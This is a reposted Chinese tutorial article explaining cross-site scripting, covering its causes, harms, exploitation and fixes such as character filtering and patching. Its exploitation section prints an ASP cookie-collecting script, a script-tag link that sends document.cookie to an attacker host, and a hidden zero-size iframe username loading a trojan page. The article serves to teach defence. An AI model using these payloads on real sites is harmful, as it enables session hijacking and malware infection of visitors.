刚才在群里看到有网友问跨站漏洞,小王想起以前写过一篇这样的文章,投稿给了网管员世界,到网上搜索了一下,转到这里吧。
一、什么是跨站漏洞
跨站漏洞是一种老漏洞了,它的英文名称为Cross Site Script,即跨站脚本攻击,简称CSS(网页制作中的层叠样式表单也简称为CSS),也有人称之为XSS。它指的是恶意攻击者通过Web页面向数据库或HTML页面中提交恶意的html代码,当用户打开有恶意代码的连接或页面时,恶意代码会自动执行,从而达到攻击者的目的。
二、跨站漏洞产生的原因
Web开发者在编写程序时没有对用户提交的语句和变量中的HTML代码进行过滤或限制。
三、跨站漏洞的危害
很多人认为跨站漏洞危害性不大,其实不然,跨站漏洞危害面很广,并且利用方法非常灵活,隐蔽性,利用该漏洞可以:
1、得到受害者计算机中的Cookie信息,然后进行Cookie欺骗,成功后,获得对方在网站中的所有权限;
2、使计算机用户打开带有木马的网页;
3、使入侵者直接在Web系统中得到更高的操作权限;
4、入侵者有可能对网站浏览者发起网络钓鱼式攻击。
四、跨站漏洞的利用方式
最常见的跨站漏洞利用方式就是攻击者利用社会工程学,诱骗网站浏览者点击网站中的某个连接,该连接会将浏览者在该网站中的Cookie通过攻击者事先已经在某个空间建立好的一个文件保存到另一个文件中。为了大家更清楚的了解跨站漏洞的利用方法,这里我们举个例子。入侵者先在某个网站空间放了两个文件,文件名分别为a.asp、cookies.txt,a.asp就是利用跨站漏洞收集Cookie信息的文件,cookies.txt是用来存放Cookie信息的文件。其中a.asp文件中的代码为:
<html>
<body>
<%
        testfile=Server.MapPath("cookies.txt")
        msg=Request("msg")
        set fs=server.CreateObject("scripting.filesystemobject_zzc")
        set thisfile=fs.OpenTextFile(testfile,8,True,0)
        thisfile.WriteLine(""&msg& "")
        thisfile.close
        set fs = nothing
        %>
</body>
</html>
做好这些工作之后,入侵者到存在跨站漏洞的网站发布一个网址连接,比如:http://有跨站漏洞的网站/search.asp? <script>window.open='http://url/a.asp?msg='+document.cookie;</script>,其中search.asp是有跨站漏洞的文件,当浏览者点击这个连接之后,该浏览者在这个网站的Cookie信息就会被a.asp获得,并保存到了cookies.txt中。接下来入侵者就可以利用得到的Cookie信息进行Cookie欺骗了。
还可以利用Web开发者的疏忽大意直接将恶意代码注册为用户名,曾经测试过一些IT门户网站,发现不少网站在注册用户的时候没有对用户名中的特殊字符进行过滤和转换,这样入侵者就可以直接注册类似<iframe frameborder=0 src="http://带有木马的网页" width=0 height=0 scrolling=no></iframe>这样的用户名,当网友打开存在该用户名的网页时,计算机就有可能感染病毒。国内某款即时通讯软件和网站还存在这样的漏洞。
五、跨站漏洞的解决方法
1、过滤或转换用户提交的一些特殊字符,比如:<,>,@,%,&,’,”,\,#等,过滤&和#是为了防止恶意攻击者将字母转换成ASC码提交;
2、限制用户提交的字符串长度,比如注册用户名和个人信息时;
3、如果Web系统是从网上下载的,要不定期的到该系统的官方网站下载最新补丁,留意该系统的漏洞信息;
4、使用脚本安全检测工具进行检测,这里强烈建议大家使用Acunetix Web Vulnerability Scanner。这款软件可以对整个网站的脚本进行检测,可以发现Sql注入、跨站等漏洞;
5、网站浏览者不要轻易点击可疑的网址连接; 
6、安装相关的防范软件,屏蔽掉可能有病毒的网页。

文章如转载,请注明转载自:http://www.5iadmin.com/post/948.html